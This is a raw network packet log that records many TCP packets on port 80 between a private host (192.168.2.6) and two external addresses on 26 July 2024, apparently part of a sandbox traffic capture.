Jul 26, 2024 13:49:34.669825077 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.683499098 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:34.705543041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705612898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705665112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705699921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705734968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705837965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.705872059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706064939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706098080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706130981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706166029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706357956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706389904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.706423998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.709933043 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:34.712804079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.712865114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.712898970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.713030100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.713063002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.713099957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.713372946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.715768099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.717976093 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.718002081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.745637894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.745692015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.745726109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.745827913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.745948076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.745980024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746014118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746047974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746270895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746304035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746335983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746367931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746659994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746690989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746721983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746753931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746788979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746823072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746855974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.746889114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.748853922 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.748888016 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.748907089 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.752415895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752527952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752561092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752692938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752723932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752757072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752789021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.752830029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753128052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753159046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753190994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753222942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753256083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753479958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753511906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753634930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753667116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753699064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753731966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753766060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753876925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753910065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753942013 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.753974915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.754007101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.755125046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.755171061 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.755197048 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.801600933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801673889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801709890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801743984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801778078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801814079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801847935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.801883936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802078009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802184105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802217960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802443981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802475929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802509069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802541971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.802573919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.803349018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.803386927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.803421974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.803704977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.804177046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.804739952 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.806591034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.806643009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.806678057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.807147980 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.807385921 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.810852051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.810965061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.810997009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811568975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811604977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811635971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811703920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811738014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811847925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811881065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.811916113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812010050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812042952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812073946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812223911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812257051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812289953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812397957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.812570095 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.812880993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.812905073 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.813607931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813659906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813694000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813796997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813895941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813929081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813961983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.813996077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814030886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814052105 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814095020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814238071 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814281940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814315081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814323902 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814348936 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814348936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814393044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814416885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814460039 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814497948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814532042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814537048 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814567089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814589977 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814606905 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814646959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814698935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814723969 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814730883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814764977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814805984 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.814963102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.814992905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815018892 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.815027952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815052986 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.815061092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815076113 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.815093994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815126896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815160036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815193892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815226078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815258026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.815448046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.816147089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.816198111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.816230059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.816359997 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.832248926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.832281113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.832389116 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836150885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836204052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836222887 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836236954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836253881 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836395979 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836410046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836494923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836535931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836569071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836580038 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836602926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836673021 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836850882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836899042 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.836901903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836949110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.836982965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837008953 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.837037086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837069035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837101936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837124109 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.837133884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837145090 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.837167025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837199926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837265015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837311983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837408066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837516069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837548971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837582111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837627888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837672949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837707043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.837738991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842673063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842732906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842767000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842856884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842891932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.842978954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843014002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843133926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843166113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843199015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843231916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843265057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843420982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843455076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843488932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843596935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843632936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843749046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843781948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843816042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.843848944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.846290112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.856376886 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.856617928 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.856693983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.856693983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.892153978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892201900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892260075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892296076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892328978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892363071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892395973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892432928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892525911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892560005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892595053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892715931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892750025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892782927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.892827034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.893692017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.893721104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894411087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894467115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894503117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894766092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894802094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.894834042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.895052910 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.895195961 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.895226955 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.901988029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902044058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902077913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902192116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902256012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902290106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902329922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902482033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902565956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902595043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902710915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902740955 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.902743101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902776957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902820110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.902935982 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.902961016 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.902986050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.903072119 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.904119015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904201984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904236078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904336929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904387951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904421091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904537916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904550076 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.904584885 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.904616117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904753923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904786110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904823065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904856920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.904969931 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.905126095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905159950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905194044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905227900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905239105 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.905263901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905437946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.905546904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905580044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905611992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.905628920 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.905827045 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.944782972 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:34.948285103 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:34.950220108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950272083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950304985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950422049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950455904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950562000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950591087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950623035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950654984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950776100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950809956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950844049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.950877905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.951020002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.951050043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.951083899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.951133966 CEST	80	59056	185.215.113.16	192.168.2.6
